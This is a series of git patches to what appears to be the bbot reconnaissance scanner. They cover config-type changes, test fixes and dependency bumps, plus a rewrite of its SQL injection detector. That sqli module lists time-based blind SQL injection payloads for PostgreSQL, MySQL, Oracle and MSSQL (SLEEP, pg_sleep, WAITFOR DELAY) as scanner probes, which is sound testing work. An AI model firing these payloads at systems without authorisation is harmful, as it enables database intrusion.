mandatory=True) base_url = "https://otx.alienvault.com" diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py index a7a2bd3d09..c6a429cc8f 100644 --- a/bbot/modules/postman.py +++ b/bbot/modules/postman.py @@ -13,7 +13,7 @@ class postman(postman): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Postman API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Postman API Key", sensitive=True, mandatory=True) reject_wildcards = False diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index 91c1e0f88c..3ddc0cd622 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -20,7 +20,7 @@ class Config(BaseModuleConfig): "", description="Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.", ) - api_key: str = Field("", description="Postman API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Postman API Key", sensitive=True, mandatory=True) scope_distance_modifier = 2 diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py index 3b5f4e97ab..15fb4bf09e 100644 --- a/bbot/modules/securitytrails.py +++ b/bbot/modules/securitytrails.py @@ -13,7 +13,7 @@ class securitytrails(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="SecurityTrails API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="SecurityTrails API key", sensitive=True, mandatory=True) base_url = "https://api.securitytrails.com/v1" ping_url = f"{base_url}/ping?apikey={{api_key}}" diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py index a81d184655..b636acb2ea 100644 --- a/bbot/modules/shodan_dns.py +++ b/bbot/modules/shodan_dns.py @@ -9,7 +9,7 @@ class shodan_dns(shodan): meta = {"description": "Query Shodan for subdomains", "created_date": "2022-07-03", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - api_key: str = Field("", description="Shodan API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Shodan API key", sensitive=True, mandatory=True) base_url = "https://api.shodan.io" diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 2177c410e1..b874428169 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -13,7 +13,7 @@ class shodan_enterprise(BaseModule): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Shodan API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Shodan API Key", sensitive=True, mandatory=True) in_scope_only: bool = Field( True, description="Only query in-scope IPs. If False, will query up to distance 1." ) diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index 37a981b529..a99063b3d0 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -18,7 +18,7 @@ class SubdomainRadar(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="SubDomainRadar.io API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="SubDomainRadar.io API key", sensitive=True, mandatory=True) group: Literal["fast", "medium", "deep"] = Field( "fast", description="The enumeration group to use. Choose from fast, medium, deep" ) diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py index 1746b86e37..ff44e06a52 100644 --- a/bbot/modules/trickest.py +++ b/bbot/modules/trickest.py @@ -9,7 +9,7 @@ class Trickest(subdomain_enum_apikey): meta = {"description": "Query Trickest's API for subdomains", "author": "@amiremami", "created_date": "2024-07-27"} class Config(BaseModuleConfig): - api_key: str = Field("", description="Trickest API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Trickest API key", sensitive=True, mandatory=True) base_url = "https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be" ping_url = f"{base_url}/dataset" diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py index f8837e2f20..fac3738062 100644 --- a/bbot/modules/virustotal.py +++ b/bbot/modules/virustotal.py @@ -13,7 +13,7 @@ class virustotal(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="VirusTotal API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="VirusTotal API Key", sensitive=True, mandatory=True) base_url = "https://www.virustotal.com/api/v3" api_page_iter_kwargs = {"json": False, "next_key": lambda r: r.json().get("links", {}).get("next", "")} diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index a0425b1cae..8005a6e3e3 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -14,7 +14,7 @@ class wpscan(BaseModule): } class Config(BaseModuleConfig): - api_key: str = Field("", description="WPScan API Key", sensitive=True) + api_key: str | list[str] = Field("", description="WPScan API Key", sensitive=True) enumerate: str = Field( "vp,vt,cb,dbe", description="Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)" ) From 5494e16d4336ebed8519e679fc9bcee7d5ccf63f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 22:35:46 -0400 Subject: [PATCH 745/912] Coerce PathLike to str for union fields during config coercion --- bbot/core/config/models.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index f97df5473b..9376207216 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -13,6 +13,7 @@ from __future__ import annotations +import os from typing import Annotated, Any, Literal, Optional from pydantic import BaseModel, BeforeValidator, ConfigDict, field_validator @@ -239,7 +240,11 @@ def coerce_value(value, accepted): if low in _FALSE_WORDS: return False return v - return _yaml_scalar(value) if is_raw else value + if is_raw: + return _yaml_scalar(value) + if "str" in accepted and isinstance(value, os.PathLike): + return str(value) + return value def coerce_config(config, index, prefix=""): From c263de328111d5dee7b5c8791796fb5ca7a46a46 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 23:17:07 -0400 Subject: [PATCH 746/912] Remove 'github' template from test config_overrides --- .../test_step_2/module_tests/test_module_github_org.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_github_org.py b/bbot/test/test_step_2/module_tests/test_module_github_org.py index fd3fe133fd..866e8d3c78 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_org.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_org.py @@ -2,9 +2,7 @@ class TestGithub_Org(ModuleTestBase): - config_overrides = { - "modules": {"github_org": {"api_key": "asdf"}, "github": {"api_key": "asdf"}, "git_clone": {"api_key": ""}} - } + config_overrides = {"modules": {"github_org": {"api_key": "asdf"}, "git_clone": {"api_key": ""}}} modules_overrides = ["github_org", "speculate"] async def setup_before_prep(self, module_test): @@ -320,7 +318,7 @@ def check(self, module_test, events): class TestGithub_Org_No_Members(TestGithub_Org): - config_overrides = {"modules": {"github_org": {"include_members": False}, "github": {"api_key": "asdf"}}} + config_overrides = {"modules": {"github_org": {"include_members": False, "api_key": "asdf"}}} def check(self, module_test, events): assert 1 == len( @@ -349,7 +347,7 @@ def check(self, module_test, events): class TestGithub_Org_MemberRepos(TestGithub_Org): config_overrides = { "scope": {"report_distance": 2, "search_distance": 2}, - "modules": {"github_org": {"include_member_repos": True}, "github": {"api_key": "asdf"}}, + "modules": {"github_org": {"include_member_repos": True, "api_key": "asdf"}}, } def check(self, module_test, events): @@ -367,7 +365,7 @@ class TestGithub_Org_Custom_Target(TestGithub_Org): "scope": {"report_distance": 10, "search_distance": 2}, "omit_event_types": [], "speculate": True, - "modules": {"github": {"api_key": "asdf"}}, + "modules": {"github_org": {"api_key": "asdf"}}, } def check(self, module_test, events): From 0c8fc3d597e1d3dd1fa23883b28d6edc36ca35c6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 7 Jun 2026 04:42:52 +0000 Subject: [PATCH 747/912] Bump ruff from 0.15.15 to 0.15.16 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.15 to 0.15.16. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.15...0.15.16) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.16 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 6f2d3fbf1b..696431db8f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -80,7 +80,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.3.0", - "ruff==0.15.15", + "ruff==0.15.16", "maturin>=1.4,<2", ] docs = [ From 8be317ae8b410e21c1b6e01aa4f0f2ff50cda9de Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 7 Jun 2026 04:43:03 +0000 Subject: [PATCH 748/912] Update uvicorn requirement from <0.49,>=0.32 to >=0.32,<0.50 Updates the requirements on [uvicorn](https://github.com/Kludex/uvicorn) to permit the latest version. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.32.0...0.49.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.49.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 6f2d3fbf1b..dbe8ee2886 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -75,7 +75,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.49", + "uvicorn>=0.32,<0.50", "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", From 6ab1e5562eb7ec25b9c67a8b318d39316aa1c2ce Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 7 Jun 2026 04:43:21 +0000 Subject: [PATCH 749/912] Bump codecov/codecov-action from 6 to 7 in the github-actions group Bumps the github-actions group with 1 update: [codecov/codecov-action](https://github.com/codecov/codecov-action). Updates `codecov/codecov-action` from 6 to 7 - [Release notes](https://github.com/codecov/codecov-action/releases) - [Changelog](https://github.com/codecov/codecov-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/codecov/codecov-action/compare/v6...v7) --- updated-dependencies: - dependency-name: codecov/codecov-action dependency-version: '7' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions ... Signed-off-by: dependabot[bot] --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index a34d7d000e..80cfeb38a9 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -46,7 +46,7 @@ jobs: name: pytest-debug-logs-${{ env.PYTHON_VERSION }} path: pytest_debug.log - name: Upload Code Coverage - uses: codecov/codecov-action@v6 + uses: codecov/codecov-action@v7 with: token: ${{ secrets.CODECOV_TOKEN }} files: ./cov.xml From 9473828e9d6b72563a766e98be0aa0264ff0496c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 08:08:53 -0400 Subject: [PATCH 750/912] Fix gowitness test: use deps.behavior instead of force_deps --- bbot/test/test_step_2/module_tests/test_module_gowitness.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_gowitness.py b/bbot/test/test_step_2/module_tests/test_module_gowitness.py index d9c22085af..f67836b72c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gowitness.py +++ b/bbot/test/test_step_2/module_tests/test_module_gowitness.py @@ -12,7 +12,7 @@ class TestGowitness(ModuleTestBase): home_dir = Path("/tmp/.bbot_gowitness_test") shutil.rmtree(home_dir, ignore_errors=True) config_overrides = { - "force_deps": True, + "deps": {"behavior": "force_install"}, "home": str(home_dir), "scope": {"report_distance": 2}, "omit_event_types": [], @@ -150,7 +150,7 @@ class TestGowitness_MultiPort(ModuleTestBase): home_dir = Path("/tmp/.bbot_gowitness_multiport_test") shutil.rmtree(home_dir, ignore_errors=True) config_overrides = { - "force_deps": True, + "deps": {"behavior": "force_install"}, "home": str(home_dir), "omit_event_types": [], } From c91cd6d635f948fd44dff1162e38fa8322995793 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 08:41:57 -0400 Subject: [PATCH 751/912] Fix nuclei test: move interactsh_disable to top-level config --- bbot/test/test_step_2/module_tests/test_module_nuclei.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index 5cf59aabbd..88f0e2a01e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -10,13 +10,13 @@ class TestNucleiManual(ModuleTestBase): "spider_distance": 1, "spider_depth": 1, }, + "interactsh_disable": True, "modules": { "nuclei": { "mode": "manual", "concurrency": 2, "ratelimit": 10, "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/http/miscellaneous/", - "interactsh_disable": True, "directory_only": False, } }, @@ -109,15 +109,15 @@ def check(self, module_test, events): class TestNucleiBudget(TestNucleiManual): config_overrides = { + "interactsh_disable": True, "modules": { "nuclei": { "mode": "budget", "concurrency": 1, "tags": "spiderfoot", "templates": "/tmp/.bbot_test/tools/nuclei-state/templates/exposed-panels/spiderfoot.yaml", - "interactsh_disable": True, } - } + }, } async def setup_before_prep(self, module_test): From d0ec063bb4007328c18e407905480b3d373019f8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 10:38:42 -0400 Subject: [PATCH 752/912] Update easter egg dedication; fix shodan_dns test config key --- bbot/scanner/scanner.py | 9 +-------- .../test_step_2/module_tests/test_module_shodan_dns.py | 2 +- 2 files changed, 2 insertions(+), 9 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 3ff564827b..29339e0005 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -206,16 +206,9 @@ def __init__( _a = _d( "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4qO/4qO/4qG8G1sxOzM4OzU7MTcwbeKjv+Kjv+Kjv+Kjv+KhheKgguKgghtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qKA4qK74qO/G1sxOzM4OzU7MTA0beKjv+Kjv+Khh+KggRtbMTszODs1Ozk4beKggeKggeKiv+KjvxtbMTszODs1OzEzNG3ioJ/ioIHioIHioIHioIHioLjio7/io7/io7fio7/io78bWzE7Mzg7NTsxNzBt4qO/4qCK4qKI4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3iooDiooDiooDioITiooDiooDiooDior8bWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kgg+KgguKgghtbMTszODs1Ozk4beKigOKigOKggeKghBtbMTszODs1OzEzNG3ioIDioIDioIDioIDiorHio7/io7/io7/io7/ioZnioLviorfiooQbWzE7Mzg7NTsxNzBt4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3ioITioITioILioILioIHioIHioILioLgbWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kjv+Kgt+KgpBtbMTszODs1Ozk4beKggeKggeKggeKggRtbMTszODs1OzEzNG3ioIDioIDioIDioqDio7/io7/io7/io7/io7/io7fio7bio6Tio6Tio6DiooAbWzBtChtbMTszODs1OzY5beKggOKgguKggeKggeKigOKghOKgguKgguKiuBtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qG34qCW4qCC4qCAG1sxOzM4OzU7OTht4qCA4qCB4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgmOKgieKggeKiu+Kjv+Kjv+Kjv+KguOKiu+Kjv+Kjv+KjvxtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qCE4qOg4qO04qO/4qO/G1sxOzM4OzU7MTA0beKjv+Kjv+KgpuKggOKggBtbMTszODs1Ozk4beKjgOKjgOKggOKggBtbMTszODs1OzEzNG3ioIDioITioILioIHiorjio7/iob/ioKPioITioIHioJnioLvio78bWzBtChtbMTszODs1OzY5beKgguKghOKggeKigeKjpOKjvuKjv+Kjv+Kjv+KjvxtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qO/4qO24qO24qO/G1sxOzM4OzU7OTht4qO/4qO/4qO34qCE4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgiOKgq+KggeKghOKggeKggeKggeKgguKggRtbMG0=" ).decode() - _m = _d( - "SW4gaG9ub3Igb2Ygb3VyIHNwZWNpYWwgZnJpZW5kIHdobyBoZWxwZWQgbWFrZSBhbGwgdGhpcyBwb3NzaWJsZS4=" - ).decode() cyan = "\033[1;38;5;51m" reset = "\033[0m" - log_to_stderr( - f"{_a}\n{cyan}{_m}{reset}", - level="HUGESUCCESS", - logname=False, - ) + print(f"{_a}\n{cyan}Never Mind the Electric Reign{reset}", file=sys.stderr) # make sure the preset has a description if not self.preset.description: diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py index 7656c5a2b0..ebedce64e8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py @@ -2,7 +2,7 @@ class TestShodan_DNS(ModuleTestBase): - config_overrides = {"modules": {"shodan": {"api_key": "asdf"}}} + config_overrides = {"modules": {"shodan_dns": {"api_key": "asdf"}}} async def setup_before_prep(self, module_test): module_test.blasthttp_mock.add_response( From 3e1315026091a4c99c75195ac3689bd948c5eacf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 10:39:49 -0400 Subject: [PATCH 753/912] Use log_to_stderr for easter egg, matching golden_gus --- bbot/scanner/scanner.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 29339e0005..5ac6c1a4d8 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -208,7 +208,11 @@ def __init__( ).decode() cyan = "\033[1;38;5;51m" reset = "\033[0m" - print(f"{_a}\n{cyan}Never Mind the Electric Reign{reset}", file=sys.stderr) + log_to_stderr( + f"{_a}\n{cyan}Never Mind the Electric Reign{reset}", + level="HUGESUCCESS", + logname=False, + ) # make sure the preset has a description if not self.preset.description: From 2c3819af8e890ecb50bbbb07c289dc9865e59ce9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 11:20:45 -0400 Subject: [PATCH 754/912] Remove nonexistent 'wordlist' config from webbrute_shortnames test --- .../module_tests/test_module_webbrute_shortnames.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py index 77e8cc74e2..6a54cac4ae 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py @@ -1,16 +1,14 @@ -from .base import ModuleTestBase, tempwordlist +from .base import ModuleTestBase class TestWebBruteShortnames(ModuleTestBase): targets = ["http://127.0.0.1:8888"] module_name = "webbrute_shortnames" - test_wordlist = ["11111111", "administrator", "portal", "console", "junkword1", "zzzjunkword2", "directory"] config_overrides = { "modules": { "webbrute_shortnames": { "find_common_prefixes": True, "find_subwords": True, - "wordlist": tempwordlist(test_wordlist), "max_predictions": 250, } } From 6f47bdc3716a840c3d9c46d2e7a6f054865224ea Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 7 Jun 2026 14:31:00 -0400 Subject: [PATCH 755/912] sqli: two-stage scaling-delay confirmation for time-based blind detection --- bbot/modules/lightfuzz/submodules/sqli.py | 181 ++++++++++-------- .../module_tests/test_module_lightfuzz.py | 68 ++++++- 2 files changed, 157 insertions(+), 92 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index a677f0bbe4..545d54a494 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,8 +1,6 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError -import statistics - class sqli(BaseLightfuzz): """ @@ -23,8 +21,13 @@ class sqli(BaseLightfuzz): friendly_name = "SQL Injection" - expected_delay = 5 - # These are common error strings that strongly indicate SQL injection + delay_low = 3 + delay_high = 8 + delay_margin = 1.5 + delay_scale_margin = 1.75 + delay_stage1_reps = 3 + delay_stage2_reps = 3 + sqli_error_strings = [ "Unterminated string literal", "Failed to parse string literal", @@ -38,36 +41,16 @@ class sqli(BaseLightfuzz): "string not properly terminated", ] - def evaluate_delay(self, mean_baseline, measured_delay): - """ - Evaluates if a measured delay falls within an expected range, indicating potential SQL injection. - - Parameters: - - mean_baseline (float): The average baseline delay measured from non-injected requests. - - measured_delay (float): The delay measured from a potentially injected request. - - Returns: - - bool: True if the measured delay is within the expected range or exactly twice the expected delay, otherwise False. - - The function checks if the measured delay is within a margin of the expected delay or twice the expected delay, - accounting for cases where the injected statement might be executed twice. - """ - margin = 1.5 - if ( - mean_baseline + self.expected_delay - margin - <= measured_delay - <= mean_baseline + self.expected_delay + margin - ): - return True - # check for exactly twice the delay, in case the statement gets placed in the query twice (a common occurrence) - elif ( - mean_baseline + (self.expected_delay * 2) - margin - <= measured_delay - <= mean_baseline + (self.expected_delay * 2) + margin - ): - return True - else: - return False + DELAY_PROBE_TEMPLATES = [ + "'||pg_sleep({d})--", + "' OR (SELECT TRUE FROM pg_sleep({d})) LIMIT 1-- -", + "1' AND (SLEEP({d})) AND '", + "' OR SLEEP({d}) IS NOT NULL LIMIT 1-- -", + " OR SLEEP({d}) IS NOT NULL LIMIT 1-- -", + "' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({d})=0) AND '1'='1", + "'; WAITFOR DELAY '00:00:{d:02d}'--", + "; WAITFOR DELAY '00:00:{d:02d}'--", + ] async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, rounds=2): """Run additional confirmation rounds with fresh baselines to rule out transient server/CDN flaps. @@ -218,27 +201,6 @@ async def fuzz(self): except HttpCompareError as e: self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}") - # Time-based blind SQLi payloads across DB families. Each probe is engineered - # to fire its delay exactly once so the measured elapsed time stays close to - # self.expected_delay regardless of table row count. Row-independent variants - # use `IS NOT NULL` (since SLEEP returns 0 — not NULL) combined with `LIMIT 1` - # to force a single match on the first row scanned. - standard_probe_strings = [ - # postgres - f"'||pg_sleep({self.expected_delay})--", - f"' OR (SELECT TRUE FROM pg_sleep({self.expected_delay})) LIMIT 1-- -", - # mysql (row-dependent; fires once when original_value matches a row) - f"1' AND (SLEEP({self.expected_delay})) AND '", - # mysql (row-independent; one SLEEP, exits on first row via LIMIT 1) - f"' OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", - f" OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", - # oracle (DUAL is single-row so DBMS_LOCK.SLEEP fires once) - f"' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({self.expected_delay})=0) AND '1'='1", - # mssql (stacked query, fires once) - f"'; WAITFOR DELAY '00:00:{self.expected_delay}'--", - f"; WAITFOR DELAY '00:00:{self.expected_delay}'--", - ] - baseline_1 = await self.standard_probe( self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True ) @@ -246,61 +208,112 @@ async def fuzz(self): self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True ) - # get a baseline from two different probes. We will average them to establish a mean baseline if baseline_1 and baseline_2: baseline_1_delay = baseline_1.elapsed.total_seconds() baseline_2_delay = baseline_2.elapsed.total_seconds() - mean_baseline = statistics.mean([baseline_1_delay, baseline_2_delay]) + base_floor = min(baseline_1_delay, baseline_2_delay) - # CDN cache-miss control: junk value misses the edge cache like our SQL payloads - # would. If its delay lands in the SLEEP() window, the latency is cache-miss, not - # SQL execution — bail to avoid false positives. junk_value = f"{probe_value}{self.lightfuzz.helpers.rand_string(20, numeric_only=True)}" junk_response = await self.standard_probe( self.event.data["type"], cookies, junk_value, additional_params_populate_empty=True ) - if junk_response and self.evaluate_delay(mean_baseline, junk_response.elapsed.total_seconds()): - self.debug( - "Junk control probe matched delay window — CDN cache-miss pattern, aborting time-based tests" - ) - return + if junk_response: + junk_delta = junk_response.elapsed.total_seconds() - base_floor + if any(abs(junk_delta - k * self.delay_low) <= self.delay_margin for k in (1, 2)): + self.debug("Junk control probe matched delay window, aborting time-based tests") + return - for p in standard_probe_strings: - confirmations = 0 - for i in range(0, 3): - # send the probe 3 times, and check if the delay is within the detection threshold + 